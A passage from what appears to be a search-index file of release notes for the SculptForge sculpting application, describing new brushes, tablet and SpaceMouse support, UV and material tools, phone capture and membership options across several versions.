SpaceMouse lists every controller SculptForge sees, says when another program (3DxWare, spacenavd) holds the device, and has Copy device report for bug reports. Also new since 0.10.9 (missing from its notes): the brush ring is a true circle lying on the surface, symmetry copies show as dots, the crosshair stays while you turn the view, and Preferences > Cursor > Hide ring while stroking leaves only the dot while you sculpt (#88); drag empty panel space, or middle-drag anywhere in a panel, to scroll it with a pen (#100); Neutral is the default look for new installs; Look > Outlines (#98); the Strokes ring on J. Close Holes: Tool > Geometry > Close Holes caps every open boundary of a Part with a patch that follows the curve of the surface around it. Clip: Tool > Cut > Clip presses everything on one side of a line, or outside a lasso or rectangle, flat onto the shape. Nothing is removed. Use it for hard-surface planes and clean silhouettes. X-Ray: the X-Ray button next to Solo shows the active Part through the others. It is also in View. Light: Render > Materials > Light turns the light around the model with a small pad, and sets its intensity and ambient light. View resolution: View or Preferences > Performance draws the 3D view at 75% or 50% for slow GPUs. Save Render sizes (up to 4096 px), shapes (1:1, 16:9, 9:16, 4:3) and JPG. Membership card: a cleaner look, with a calm warm light instead of the sculpt picture, and the perks now say it plainly: members vote on what we build next (#feature-vote on Discord; anyone can suggest in #ideas)."},{"p":"whats-new.html","c":"What's new","a":"version-0109","h":"Version 0.10.9","t":"Each brush keeps its own settings: Draw Size, Intensity, Falloff, RGB Intensity, stroke and alpha follow the brush, custom and Community brushes included. Brush > Save Brush Settings keeps them for the next start, Reset Brush to Default puts back the shipped values, and Preferences > Input > Share size and intensity across brushes keeps the old way (#78). See Sculpting. Alpha options (Alpha palette): Follow stroke direction turns the alpha along the stroke, smoothed as Blender's Rake does; Angle and Angle jitter turn it by a fixed or a random amount; Tile repeats it inside the brush. They work with custom and Community brushes too, and each brush keeps its own (#76). See Alpha options. Blender style: Alt+drag masks on the model and Ctrl+Alt+drag unmasks, as in Blender 5.1 and later; beside the model Alt+drag still turns the view. Preferences > Input > Emulate 3 Button Mouse makes Alt+drag turn the view everywhere. Shift+F now sets the brush's Intensity, not Smooth's (#77). View > Lock camera (Shift+L): drags that start beside the model sculpt instead of turning the view, and the status bar shows CAMERA LOCKED while it is on (#62). Tablets: plug a tablet in while SculptForge runs and it just works (\"Tablet connected\" in the status bar), also through Wacom Bridge. On Windows, pressure works with the Wacom driver's Use Windows Ink on or off. Preferences > Input shows whether pressure is detected, with a troubleshooting link. The view no longer jumps when the pen comes back into range, and the active Part changes only with Alt+click on the keyboard; the status bar names the new Part. See Troubleshooting. Smaller (or larger) corner axes: Draw > Camera > Gizmo size sets Small, Medium or Large (Navigation). View Figure: turn it on beside Axes for a small head in the corner that turns with the view; click it to snap to the nearest side. Starter meshes: start a sculpt from a human head with eye and mouth loops, a bust, a full body in A-pose, a hand, a foot, an ear, an eye, a stylised head, a creature head, a torso, or a bevelled box, cylinder, capsule or ring, all clean quads at life size with subdivision levels ready. File > New from Starter Mesh, the Library's Tool > Starter meshes, or Start from a head in the welcome. See Projects. Your first sculpt in 10 minutes: a step-by-step lesson for people who have never sculpted. Turn the default sphere into a cute owl head with ear tufts, big amber eyes and a little beak, using Move, Clay, Inflate and Smooth, Vertex Paint and PBR shading, and save a render to share. Start it from the welcome's Start the 10-minute lesson button or Help > Your first sculpt (10 min). See Your first sculpt. Save Render (Render > Materials): the view without the interface, at twice its size, as a PNG in your Library (Library > Image). A new What's New: after an update, a window shows the main features as cards with a picture, one line and a Try it button that opens the feature (switch the look, select the brush, open the membership card...). Help > What's New opens it again; Esc closes it. This chapter shows the last three versions in full and folds the older ones into short groups, on the website too. Image to 3D with no setup: the free default is now Hunyuan3D 2.1, which needs no token. TRELLIS.2 (\"Best detail\") still needs a free Hugging Face token (Preferences > AI); without one, Hunyuan3D 2.1 runs instead and the status line tells you. Your own model choice is kept. See Image and text to 3D. Generated models arrive as clean quads: Quad Remesh is now the default, with one subdivision level holding the detail, so you can sculpt and subdivide straight away. Voxel remesh and Off are still in Remesh. Calm, clear hover: buttons, menus and shelves brighten a little as you point at them, tiles lift a little, sliders show their exact value, and the keyboard focus gets a ring as strong as your Outlines setting. Prefer less movement? Turn on Preferences > Interface > Reduce motion (Interface). Picker thumbnails on top"},{"p":"whats-new.html","c":"What's new","a":"version-0108","h":"Version 0.10.8","t":"Tablets in mouse mode work again: on some Windows tablets with Mouse mode on (Preferences > Tablet) the brush stopped following the pen in 0.10.7. When the system can't say where its cursor is, the pen now moves the brush by how far it moves, from where it was (#72)."},{"p":"whats-new.html","c":"What's new","a":"version-0107","h":"Version 0.10.7","t":"A clearer membership card: the three memberships side by side with what each one gets you, in your look's colours. Maybe later now hides it for 30 days. New memberships: Supporters get the credits (in the app and on the website), the monthly pack and a vote; Insiders also get daily drops and preview builds about a week early; Studio covers the whole company with a custom studio build (Founding Studio: the first 10 studios lock in $150 a month). Every release stays free for everyone; bug-fix and security releases go out to everyone the same day. Full alphas on custom brushes: at Focal Shift -100, Clay Slab and the other custom and Community brushes now show the whole alpha to its corners, as the built-in brushes do (#75). A new look: new installs start in Forge Terminal with the Tokyo Night colours and the SculptForge layout: menus by task (File, Edit, Sculpt, Paint, Mesh, View, Render, Help) holding every palette, a status bar and a one-row tool shelf. If you are updating, nothing changes until you say so: a card offers Try it or Keep my layout. Experienced sculptor? Preferences > Interface > Look > Classic layout (or the button in the welcome) brings back the palette bar and the two-row shelf. Six more colour schemes, Match my desktop theme, Phosphor, Blueprint and the Classic look are there too. See The interface. Native Wayland on Linux: every Linux package opens without XWayland, stays sharp at fractional scales and reads pen pressure through tablet-v2. The RHEL and Rocky builds now include libdecor (title bars on GNOME Wayland). See Wayland and X11. Benchmark your machine (Help > Benchmark, or sculptforge --benchmark standard-15m): a procedural 15 or 33 million triangle head sculpted with Clay at 25, 60 and 120 px, Move, Smooth and a 240 px brush, reporting frame times (p50, p95, p99), stroke lag, the worst stall and memory. See Performance."},{"p":"whats-new.html","c":"What's new","a":"version-0106","h":"Version 0.10.6","t":"PBR viewport (Material > Viewport Shading > PBR): see the texture's material as a game engine shows it, lit by an environment: Studio, Photo Studio, Small Studio or Outdoor Sky, with exposure, rotation, the environment behind the model and a choice of tone map. Painted height and normals catch the light. It stays as fast as Lit Sphere on a 20-million-triangle Part. See Material painting. Fill layers (Tool > Paint Layers > + Fill Layer): lay a material over the whole Part through a mask of effects (edge wear, dirt, gradient, thickness, light direction, 3D noise, a painted mask, levels, blur) instead of painting it by hand. Change it any time. See Fill layers. Wear that follows the sculpt: Fill layers read the Part's Mesh Maps (occlusion, curvature, thickness and more), and after each stroke only the part of the maps near the stroke is baked again in the background, so chipped paint and dirt move with the form while you sculpt. Material Recipes: Worn Metal, Painted Edges, Dirt and Dust and Rusted Iron in one click, and your own saved as small files. Packs and macros (File > Install Pack..., Library > Packs): install a .sfpack of brushes, alphas, Lit Spheres, Material Recipes, VDMs, keymaps, pie menus and macros after a review that shows exactly what's inside, its license and its author. Switch packs off, remove them, or make your own with New Pack. Record the commands you run as a macro, edit it as plain text, and run it from F3, a key or a pie menu as one undo step. Packs are data only and macros only run SculptForge's own commands; --no-packs starts without any pack. See Packs and macros. More maps from Tool > Bake: curvature, thickness, position and ID; bake a Part's top subdivision level (or micro level) onto its lowest level without a second Part; UDIM tiles bake as one set of files per tile. See Baking. Forge Spheres with the pointer alone (#8): Drag places child (or Ctrl while you drag) moves a new sphere away from its parent in one drag; Delete Selected, Insert Between and Set as Root work on the sphere you last clicked, and a right click on a sphere opens a menu with the same. See Forge Spheres. Maya zoom (#32): in the Maya input style Alt+right drag now zooms with a sideways drag, as Maya's own dolly (right zooms in). To keep zooming up and down as before, choose Preferences > Input > Zoom drag > Up and down. Invert zoom turns any zoom drag around; Ctrl+Alt+Shift erases the mask. See Maya keys. Move along the normal (from the discussions): Move, Tendril, Elastic Tendril and KelvinGrab started with Alt held pull the surface straight out of itself (or push it straight in) instead of across the screen. See Sculpting. Polish, Relax, Smooth and Balloon (from the discussions): Tool > Deformation works on the whole Part by an amount: Polish flattens fine noise and keeps edges, Relax evens out the spacing, Smooth can keep the volume, and Balloon fills the form out. The mask holds what it covers; one undo step each. See Sculpting. Smooth without remeshing (from the discussions): Smooth remesh in Draw > Dynamic topology sets how much Shift-smoothing changes the topology, down to Smooth only. See Dynamic topology. Connected only and View falloff (from the discussions): brush options that keep a stroke to the piece under the cursor (the other leg, the next finger stay put) or reach through the model along the view, as Blender's proportional editing. See Sculpting. The SculptForge Discord (Help > Join the Discord...): the official community, for questions, tips and work in progress. It is also on the support card, in the welcome note and on the website. Bugs still go to Help > Report a problem (GitHub issues). Backface culling (#68, Tool > Display): don't draw the back faces of the model, for speed on open meshes and to see through their openings. Brushes then work only on what you see. Off by default. A crosshair over the view (#73): the pointer is a crosshair where brushes act and the arrow over the panels. Preferences > Interfac"},{"p":"whats-new.html","c":"What's new","a":"version-0105","h":"Version 0.10.5","t":"Selection sets (Tool > Selection Sets): store as many named snapshots of a Part's mask, face groups, visibility, vertex paint, UVs and shape as you like, and restore them at any subdivision level, not only the one they were stored at. Combine two sets (union, intersect, subtract), restore one onto the current mask or visibility the same way, or take a quick set from the visible faces. Every step is one undo step, and the sets are saved with the project. See Selection sets. Morph brush and Morph to Set: a set with its shape is a morph target. The new Morph brush pulls the surface back toward it (Alt pushes away), and Morph to Set blends the whole Part toward it by any amount, within the mask, at any subdivision level. Sets for pipelines: selection_set_* commands for scripts, sculptforge-cli and the AI assistant, doc.selection_set() / doc.set_selection_set() in Python, .sfsets files to move sets between Parts and scenes, and USD exports that carry them as GeomSubsets and primvars (read back on import). UV Editor (Tool > Texture Map > UV Editor, Alt+U): the Part's UVs flat over the UDIM tiles, drawn by the graphics card so a million triangles stay smooth. Draw seams on the model with the Seam Tool (or take them from face groups, island borders or sharp edges), then Unwrap: Least Stretch, Conformal, By Face Groups, Planar, Unfold Islands or Auto Seams, with closed and tangled pieces cut for you. Pack into one tile or across UDIM tiles, Set and Match texel density, lay islands into trim sheet strips, and select vertices, edges, faces or islands (in the view or on the model) to move, rotate, scale, pin, weld, split, straighten and flip them. The model shows stretch, texel density, islands and a checker live while you edit, and a painted texture moves with every change so the model keeps its look. Every step is one undo step and a uv_* command for scripts. See UV Editor. Fixed: the viewport on some Windows PCs (#29): on displays whose window uses another colour format (seen with NVIDIA and high-resolution screens) the model never appeared and the cursor left trails. The view now reaches the window on every format, and falls back to drawing directly if a driver still refuses. Features use SculptForge's own names (Parts, Forge Spheres, Vertex Paint, Face Groups, Library, Lit Spheres, Quad Remesh, Bridge, Snapshot...); the command palette finds them by what they do. See Quick tour for experienced sculptors. New installs start with the SculptForge keys, and the first start asks what you are coming from to pick the key style. Your saved style is kept; the Classic sculpting keys are Classic in Preferences > Input. See Keyboard and mouse."},{"p":"whats-new.html","c":"What's new","a":"from-your-requests-on-github","h":"From your requests on GitHub","t":"Start strokes off the model (#62): an option in Preferences > Input, off by default, and Shift+L to turn it on and off. With it on, a left-drag that starts on the background sculpts once it reaches the model instead of turning the view. See Navigation. Radial and local symmetry (#63): R in Transform > Symmetry (and on the top shelf) repeats every stroke around the X, Y or Z axis, 2 to 64 times (Radial Count), together with the X / Y / Z mirrors. Every brush, mask, vertex paint and texture stroke, the mask and select shapes, Dynamic Topology and Insert follow it, and the brush cursor shows on every copy. Local puts the planes and the axis through the active Part's centre. Saved with the project and scriptable (radial, radial_axis, local). See Sculpting. The Sculpt Timeline is at the top of the viewport (#63), away from the brushes on the bottom shelf. Preferences > Interface > Timeline position puts it back at the bottom; Store Config keeps the choice. See Sculpt Timeline."},{"p":"whats-new.html","c":"What's new","a":"from-your-requests-on-github-1","h":"From your requests on GitHub","t":"Insert your own mesh (#34): Append > Insert on the model now takes a copy of another Part or an .obj, .ply or .glb file, placed, sized and turned by the drag like the shapes. See Parts. Keep Masked for Voxel Remesh, Decimate and Quad Remesh (#43): the masked part keeps its triangles and detail exactly; only the rest is rebuilt and joined to it. See Geometry. Hold Space and drag to move the camera (#43): an option in Preferences > Input, off by default. See Navigation. Triple-click another Part in the viewport to select and frame it (#43). Twelve new alphas (Pores, Cracks, Scales, Rivets, Stitches, Fabric Weave, Bark, Rock Strata, Wrinkles, Skin Folds, Hair Strands, Dot Grid) and six new VDM brushes (Rivet, Stitches, Skin Fold, Wrinkle Line, Crack, Rock Ledge), with thumbnails in the Library (#43). See Sculpting. Mask from the mesh border (#61): Tool > Masking > By border masks open edges (and face group borders), so sculpting leaves them in place. See Masking. SculptForge in Spanish (#44): Preferences > Interface > Language > Español. Maya bridge (#42): File > Maya and a SculptForge shelf for Maya swap meshes through a folder you pick: no connections, nothing run. See Working with Maya. Radial (pie) menus (#45): hold T (brushes) or Y (masking), flick and let go; make your own in Preferences > Input > Radial Menus. See Sculpting. Falloff works with alphas (#60): -100 shows the whole alpha, 0 rounds it off, +100 leaves a soft point (alpha brushes are softer at the default 0 than before; set -100 for the old crisp look). Select Rectangle and Select Lasso follow X / Y / Z symmetry, like the mask versions (#51)."},{"p":"whats-new.html","c":"What's new","a":"become-an-insider","h":"Become an Insider","t":"SculptForge stays free for everyone. Every release stays free for everyone; bug-fix and security releases go out to everyone the same day. Help > Support SculptForge opens the page to join. When SculptForge starts for the first time, after an update, and otherwise at most once a week, a card shows the ways to support it: Supporter, Insider and Studio memberships and the one-time Supporter, each opening its checkout page in your browser. Maybe later, Esc or a click outside closes it; I'm already a supporter hides it for good, and Preferences > Support turns it off. It never shows while you work, and nothing about you is sent anywhere."},{"p":"whats-new.html","c":"What's new","a":"from-your-requests-on-github-2","h":"From your requests on GitHub","t":"Alternate smooth (#40): start smoothing with Shift held, then let go of Shift while still pressing, and the rest of the stroke smooths without shrinking the form. Brush > Smooth keeps volume makes it the default. See Sculpting. Masking (#48, #51): Ctrl+drag on the background draws a mask rectangle; Lasso and Rectangle masks follow symmetry; a Ctrl+click with them blurs the mask. See Masking. Pen tablets in mouse mode (#54): Preferences > Tablet > Mouse mode (relative) stops the cursor jumping back when you lift the pen. Axis gizmo: click X, Y or Z to snap to that view (#43). Undo and Redo on the right shelf, Continuous in the stroke picker, Part thumbnails, and Insert on the model follows symmetry. See Navigation and Parts. macOS (#41): reopening in full screen keeps the menu bar and window buttons reachable."},{"p":"whats-new.html","c":"What's new","a":"support-sculptforge","h":"Support SculptForge","t":"SculptForge stays free for everyone. Help > Support SculptForge opens the page where you can become a member. Every release stays free for everyone; bug-fix and security releases go out to everyone the same day."},{"p":"whats-new.html","c":"What's new","a":"quad-remesh-2","h":"Quad Remesh 2","t":"A new quad remesher is now the default in Tool > Remesh and Tool > Geometry: two to fifty times fewer poles than before at the same accuracy, edge loops that follow the forms (round the mouth and nose), exact symmetry, and a quality report after each run. The previous method is still there as Legacy, and pieces with closed guide loops use it for now. See Quad retopology."},{"p":"whats-new.html","c":"What's new","a":"kelvinlet-brushes-and-capture-from-view","h":"Kelvinlet brushes and Capture from view","t":"KelvinGrab, KelvinTwist, KelvinScale and Elastic Tendril move the surface like elastic clay, with a Squash slider from rubber to firm clay; they're at their best below about 10 million triangles for now. Capture from view (Ctrl+Alt+C) turns any detail into an alpha or a vector displacement brush, and Detail Clone stamps it along a stroke. See Sculpting."},{"p":"whats-new.html","c":"What's new","a":"also","h":"Also","t":"Insert on the model (#34): the drag's direction also turns the shape about the surface. Security: video exports (timelapse, Benchmark) no longer pass the file name to ffmpeg in a way a crafted name could abuse. Update if you use them. The local API added in 0.10.1 is removed; SculptForge doesn't listen for other programs."},{"p":"whats-new.html","c":"What's new","a":"from-your-feedback-on-github","h":"From your feedback on GitHub","t":"Maya navigation (#32): Preferences > Input > Maya. Alt+left orbits, Alt+middle pans, Alt+right zooms. Focal length (#26): Draw > Camera, 15-300 mm with 35 / 50 / 85 / 135 presets, saved with the project. More primitives (#31): Cylinder, Cone, Torus, Capsule, Icosphere and Quad Sphere in Tool > Parts > Append, plus Insert on the model (#34): choose a shape, then drag on the surface to add it. Continuous in the Stroke palette keeps the brush working while you hold it still, and an X / Y / Z gizmo shows the view's direction (#31). Local API (#36): other programs on your computer (symmetry tools, scripts) can run commands in the open app. Off by default; see Scripting. The window opens where and how big you left it (#35), and a drawing problem on some graphics drivers that left trails in the viewport is fixed (#29)."},{"p":"whats-new.html","c":"What's new","a":"micro-levels-hundreds-of-millions-of-polygons","h":"Micro levels: hundreds of millions of polygons","t":"Tool > Geometry > Micro adds a micro-displacement level above your top subdivision level: up to about a billion sculptable triangles in under 2 GB of memory, drawn at the detail your screen can show. Move reshapes the base and the detail rides along. Bake it down or export displacement maps. See Micro levels."},{"p":"whats-new.html","c":"What's new","a":"material-painting-pbr","h":"Material painting (PBR)","t":"Paint roughness, metallic, normal, height, AO, emissive and opacity alongside colour, per paint layer, and export packed maps with presets for Unreal, Unity, glTF, Godot, Blender and USD. Texture brushes are much faster on dense meshes. See Material painting and Export presets."},{"p":"whats-new.html","c":"What's new","a":"sculpt-timeline-and-proof-mode","h":"Sculpt Timeline and proof mode","t":"Scrub back through every stroke, branch from any point, retune an old stroke's strength, and export a timelapse turntable. Help > Benchmark runs a scripted stroke on 5M to 33M triangles with a live readout and records a video and a report you can share. See Sculpt Timeline and Performance."},{"p":"whats-new.html","c":"What's new","a":"hardware-profile","h":"Hardware profile","t":"On first start SculptForge measures your computer for a second and picks settings for it (Laptop, Workstation or a safe mode); on battery it saves power. See Preferences > Performance."},{"p":"whats-new.html","c":"What's new","a":"also-new","h":"Also new","t":"The brush ring lies on the surface and follows its shape (#25). Preferences > Input > Cursor follows surface turns it off. Faster normals on big meshes. Predictive strokes (a GPU preview of each dab ahead of the solver) are in Preferences > Performance as an experiment. The status bar shows only the file name of what you open."},{"p":"whats-new.html","c":"What's new","a":"faster-big-brushes-on-dense-meshes","h":"Faster big brushes on dense meshes","t":"A large brush on a model of 20 million triangles or more keeps up much better: on a 21-million-triangle sphere with a 200-pixel brush, the brush now trails the pointer by half as far, a frame takes a third less time, the first dab appears in half the time, and lifting the pen no longer pauses for up to a second while waiting dabs are placed. See Performance."},{"p":"whats-new.html","c":"What's new","a":"right-click-for-the-quick-menu","h":"Right click for the Quick Menu","t":"A right click on the canvas opens the Quick Menu under the cursor (Space still does too). A right drag turns the view as before, and Preferences > Input > Right click opens the Quick Menu turns it off. See The Quick Menu."},{"p":"whats-new.html","c":"What's new","a":"fixes","h":"Fixes","t":"The orthographic view (Numpad 5) shades like the perspective one: Lit Spheres and the lights no longer look inside out. Dynamic topology with symmetry now adds detail on the mirrored side too when the model's two sides aren't built from mirrored polygons (a QRemeshed head, say): before, only the side under the brush got the new triangles. See Dynamic topology."},{"p":"whats-new.html","c":"What's new","a":"extract","h":"Extract","t":"Mask part of a Part and Tool > Parts > Extract turns it into a shell that fits the surface exactly: a helmet, a strap, a piece of armour. Set Thick, E Smt and Double while the preview shows, then Accept keeps it as a new Part (and Ctrl+Z takes it away again). TCorne and TBorder give the rim triangles instead of quads. See Extract a shell."},{"p":"whats-new.html","c":"What's new","a":"mirror-and-weld","h":"Mirror And Weld","t":"Tool > Geometry > Modify Topology > Mirror And Weld mirrors one side of a model onto the other across X, Y or Z and welds the seam into one watertight mesh, keeping face groups and vertex paint. Tool > Deformation > Mirror flips a Part. See Mirror And Weld."},{"p":"whats-new.html","c":"What's new","a":"a-flat-background","h":"A flat background","t":"Preferences > Display > Background (also in the Render palette) switches the view from the gradient to a flat colour you pick. Store Config keeps it, and projects keep their own. See The background."},{"p":"whats-new.html","c":"What's new","a":"flatpak","h":"Flatpak","t":"SculptForge comes as a Flatpak for x86_64 and ARM64 Linux: one file on the releases page that runs in Flatpak's sandbox on any distribution, installed with flatpak install --user ./SculptForge-linux-x86_64.flatpak. It can open projects and models anywhere in your home folder, works with pen tablets and a SpaceMouse, and the Blender bridge finds it by itself. See Installing SculptForge."},{"p":"whats-new.html","c":"What's new","a":"fixes-1","h":"Fixes","t":"Fast strokes on very dense meshes keep their curve. When one dab cost more than a frame, a quick arc came out as a straight line; now the dabs wait in a queue the app works through between frames, so it keeps reading the pointer. Based on a patch by @bribblej-web. See Performance. The AppImage has a PNG icon at its root, so AppImage managers (AppManager, Gear Lever) show SculptForge's icon when they add it to your menu. Divide (Ctrl+D) no longer crashes on models with a point where many polygons meet, such as a Blender cylinder with Triangle Fan caps of 22 or more sides or a UV sphere's poles. Generating with a ComfyUI workflow and a fixed seed could crash at random; fixed. SculptForge now keeps a log file, sculptforge.log, in its settings folder (Help > Open log folder). After a crash it says what crashed and what you did last; attach it when you report a problem. See The log file."},{"p":"whats-new.html","c":"What's new","a":"forge-spheres","h":"Forge Spheres","t":"Block out a body, creature or plant from connected spheres: Tool > Forge Spheres > New Forge Sphere, drag on a sphere to grow a limb, Move and Scale it into proportion, Alt+click to delete, with Symmetry mirroring every edit. Preview (A) shows the skin, and Make Mesh turns it into a sculptable, all-quad Part with a face group per limb, keeping the Forge Spheres to change later. See Forge Spheres."},{"p":"whats-new.html","c":"What's new","a":"blender-keys","h":"Blender keys","t":"Preferences > Input > Style > Blender brings Blender's navigation and Sculpt Mode keys: middle-drag to orbit (Alt+drag with a pen), the numpad views, F / Shift+F, V S P I G C K for brushes, M for the mask. You can also import a keymap you exported from Blender. See Blender keys."},{"p":"whats-new.html","c":"What's new","a":"flat-shading","h":"Flat shading","t":"Material > Shading > Flat shows every polygon as its own facet, to read a low-poly blockout's planes and check exactly what a brush did; This Part keeps one Part smooth or flat whatever the scene says. See Vertex Paint and materials."},{"p":"whats-new.html","c":"What's new","a":"spacemouse-experimental","h":"SpaceMouse (experimental)","t":"A 3Dconnexion SpaceMouse now moves the view: twist, tilt and push the cap to turn, pan and zoom around the model with one hand while the other holds the pen, in every input style and even mid-stroke. The two side buttons frame the model and show the front. Preferences > Input > SpaceMouse sets the speed, the dead zone, turntable rotation, a dominant-axis mode, inverts any axis, and maps the buttons. It reads the device directly, without 3Dconnexion's driver, and hasn't been tried on real hardware yet: see SpaceMouse if yours doesn't show up."},{"p":"whats-new.html","c":"What's new","a":"your-own-lit-spheres","h":"Your own Lit Spheres","t":"Material > Load Lit Sphere... turns any image (PNG, JPG or EXR) into a material, and images you put in Documents/SculptForge/Lit Spheres show up in the material list, even while SculptForge is running. Right-click one and choose Remove to send it to the trash. Projects carry the Lit Sphere they use, so they look the same on any computer. See Your own Lit Spheres."},{"p":"whats-new.html","c":"What's new","a":"fixes-2","h":"Fixes","t":"Pens whose drivers send stray mouse events (a Ugee M708 on Linux) can rotate, pan and zoom on the background again instead of shaking the view. The S / U / I / O slider opens with its knob under the cursor and stays open while you drag it. The Blender Bridge add-on installs again: its zip was missing a file. Pens on Windows (Wacom Intuos Pro and others through Windows Ink): taps on menus and buttons land, and Alt+pen drag, the Move button and the S / U / O slider follow the pen instead of jumping. Idle, SculptForge no longer keeps your graphics card busy: it draws a new frame only when something changes (before, 60 or more a second all the time)."},{"p":"whats-new.html","c":"What's new","a":"fixes-and-packaging","h":"Fixes and packaging","t":"Exports without a material of their own (FBX, USD) and splats made from an unpainted sculpt use the Soft Clay grey instead of the old peach. Linux AppImages are now named SculptForge-0.9.4-x86_64.AppImage (and -aarch64) and carry update information for AppImageUpdate. On macOS you can install with Homebrew: brew install --cask islandmed/tap/sculptforge."},{"p":"whats-new.html","c":"What's new","a":"a-cleaner-look","h":"A cleaner look","t":"The default material is now Soft Clay: matte, with a clear light and shadow side, so sculpted detail reads at a glance. Orange marks only the current tool; options that are on are a lighter grey with a thin orange line. Every brush icon is drawn the same way, with a mark that shows what the brush does. A material you picked before is kept: choose Soft Clay in the Material menu to see the new look. See The interface."},{"p":"whats-new.html","c":"What's new","a":"bigger-brush-tiles-your-size","h":"Bigger brush tiles, your size","t":"The brush tiles on the bottom shelf are bigger. Right-click any brush on the shelf and choose Tile size: Small, Medium or Large (also in Preferences > Interface > Shelf tiles)."},{"p":"whats-new.html","c":"What's new","a":"export-stl-from-the-file-menu","h":"Export STL from the File menu","t":"File > Export STL... is its own menu item, for 3D printing."},{"p":"whats-new.html","c":"What's new","a":"view-in-ar-on-android","h":"View in AR on Android","t":"On Android, View in AR used to just download a file. It now opens an AR page in Chrome: your sculpt comes to it encrypted through SculptForge's relay, so it works even when Chrome can't reach your computer, and it updates as you sculpt. Show it with Chrome's AR or with Google's AR viewer. If the capture page is open in Firefox, tap Open in Chrome. See Phone capture and AR."},{"p":"whats-new.html","c":"What's new","a":"one-port-for-the-phone-link","h":"One port for the phone link","t":"Face capture and AR now use the same network port as the capture page. On Linux with a firewall, allow that port for both TCP and UDP from your home network."},{"p":"whats-new.html","c":"What's new","a":"version-091","h":"Version 0.9.1","t":"Fixes from the first day of 0.9."},{"p":"whats-new.html","c":"What's new","a":"phone-capture-when-the-phone-cant-open-the-page","h":"Phone capture: when the phone can't open the page","t":"Recent versions of Chrome on Android can refuse to open any address on your home network and just say This site can't be reached. The Capture from phone window now says so and suggests Firefox, and its The phone can't open the page? list covers Linux firewalls too. See Phone capture and AR."},{"p":"whats-new.html","c":"What's new","a":"easier-to-read","h":"Easier to read","t":"This guide, including What's New, and the update banner now use larger text."},{"p":"whats-new.html","c":"What's new","a":"baking","h":"Baking","t":"Cancel now stops small bakes too."},{"p":"whats-new.html","c":"What's new","a":"version-090","h":"Version 0.9.0","t":"Maquette to performance: scan an object or a clay maquette with your phone, turn the scan into a clean mesh you can sculpt and animate, give a head the 52 ARKit facial shapes, and drive them live with your own face."},{"p":"whats-new.html","c":"What's new","a":"facial-shapes-and-live-face","h":"Facial shapes and live face","t":"Tool > Facial Shapes > Generate Facial Shapes gives a sculpted head the 52 Apple ARKit blend shapes (eyeBlinkLeft, jawOpen, mouthSmileRight, ...) as sculpt layers, fitted to its proportions from a template head with those shapes (ICT-FaceKit, MIT licence). Eyes, teeth and tongue Parts get theirs too. Fix any shape by sculpting into its layer, check them with the Face test presets and sliders, and export them with their ARKit names to GLB, USD, FBX and Blender (as shape keys). face_weights drives them live from a face feed, and recorded takes play in the viewport and bake into a glTF animation or USD time samples. new_head starts a scene with a human head to sculpt on. See Facial shapes and live face."},{"p":"whats-new.html","c":"What's new","a":"scan-an-object-into-a-splat","h":"Scan an object into a splat","t":"Film an object with your phone, or take photos all around it, and SculptForge trains a Gaussian splat from it on your own graphics card. The splat appears in the viewport after a few hundred steps and sharpens while it trains; you can orbit around it, stop when it's good enough, or cancel. Pick Video... or Photos Folder... under Splats > Train from capture, or drop a video onto the window. The free Brush trainer is offered as a one-click download the first time. See Scan an object into a splat."},{"p":"whats-new.html","c":"What's new","a":"make-sculptable-from-a-scan-to-a-production-asset","h":"Make sculptable: from a scan to a production asset","t":"One click in the Splats palette turns a Gaussian-splat capture into a clean Part you can sculpt, rig and animate: a watertight surface with the floaters and background gone and open bottoms sealed, quad topology at a Game, Film or Sculpt budget, edge loops round the eyes and mouth and along the nasolabial folds when the capture is a head (mirrored across the face), and the capture's colours as vertex paint or a texture. A crop box cuts away the table or the room; Review shows the face landmarks to nudge before remeshing. The splats stay, hidden. Five million splats take about ten seconds on a laptop. See From scan to sculptable mesh."},{"p":"whats-new.html","c":"What's new","a":"your-phone-as-sculptforges-camera","h":"Your phone as SculptForge's camera","t":"File > Capture from phone shows a QR code: scan it and your phone's browser can send SculptForge a scan (walk round an object for 20 to 60 seconds), a photo to turn into a model, or a splat file from a scanning app. Tap View in AR to see your sculpt standing on your desk, updated as you sculpt, and Face capture to drive a character's facial shapes with your own face, live. No app to install. See Phone capture and AR."},{"p":"whats-new.html","c":"What's new","a":"version-081","h":"Version 0.8.1","t":"Fixes from a professional sculptor's testing, and a way to bring a library over."},{"p":"whats-new.html","c":"What's new","a":"more-classic","h":"More classic","t":"Classic zoom direction. With the Classic input style, dragging up zooms out on every zoom drag. See Navigation. Ctrl and Ctrl+Shift brushes. Hold Ctrl and the left shelf shows the mask brush; with Ctrl held the Brush and Stroke pickers pick Mask Pen, Mask Lasso or Mask Rectangle. Ctrl+Shift does the same for Select Rectangle and Select Lasso. See Masking. Group by UVs. One face group per UV island, in Tool > Face Groups. See Face Groups and visibility."},{"p":"whats-new.html","c":"What's new","a":"texture-painting-one-click-to-start-and-faster","h":"Texture painting: one click to start, and faster","t":"With the Paint brush on, a Part without a texture now shows New Texture on the top shelf and in the Color palette: click it and SculptForge unwraps the model if it has no UVs (Auto UV, in the background) and gives it a texture, so the next stroke paints texels. Big brushes on 4K textures paint four to five times faster. See Texture painting."},{"p":"whats-new.html","c":"What's new","a":"bring-a-library-over","h":"Bring a library over","t":"Another app's library files are proprietary, but a free export plug-in now converts them once, and then SculptForge opens the library file itself, every Part with its face groups, vertex paint, mask and UVs. See the Bridge setup page."},{"p":"whats-new.html","c":"What's new","a":"version-08","h":"Version 0.8","t":"Dynamic topology, vector displacement brushes, Quad Remesh Guides, and sculpt layers on every subdivision level."},{"p":"whats-new.html","c":"What's new","a":"dynamic-topology","h":"Dynamic topology","t":"Turn on Dynamic on the top shelf and the brush adds triangles where it needs detail and removes them where it doesn't: pull a sphere into horns or fingers without stretching, block in from a ball without remeshing. Detail sets how small the triangles get, relative to the brush (zoom in for finer ones) or, with Constant detail, one size for the whole mesh. Symmetry makes mirrored triangles, borders and masks are kept, and each stroke is one small undo step. See Dynamic topology."},{"p":"whats-new.html","c":"What's new","a":"vector-displacement-brushes","h":"Vector displacement brushes","t":"One drag stamps a whole shape, overhangs and all: the new VDM brush presses a vector displacement map, so a horn can lean over, an ear can curl and scales can overlap, which no alpha can do. Four maps come with it (Horn, Ear Curl, Scales, Nostril); make your own by sculpting on a VDM Plane and clicking Create VDM, or load the EXRs Blender's VDM Brush Baker makes (and export yours for Blender). The new Slide Stamp stroke slides a stamp into place. See Vector displacement brushes."},{"p":"whats-new.html","c":"What's new","a":"classic-sculpting-keys-in-blenders-sculpt-mode","h":"Classic sculpting keys in Blender's Sculpt Mode","t":"The Blender add-on has a new preference, The Classic sculpting keys in 